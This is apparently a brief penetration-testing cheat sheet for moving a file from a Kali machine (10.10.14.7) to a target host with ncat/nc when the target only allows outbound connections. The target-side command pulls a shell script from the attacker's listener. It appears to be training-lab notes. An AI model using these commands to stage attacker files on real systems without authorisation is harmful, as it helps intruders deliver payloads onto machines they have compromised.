ncat

Basic

ncat - Transfer file

Outbound on target allowed

Transfer from kali to target: When only outbound connection are allowed on the target machine

command on kali [ip: 10.10.14.7]

ncat -lvn 9001 < file-to-transfer.sh

Command on target machine

nc -w 3 10.10.14.7 9001 > file-received.sh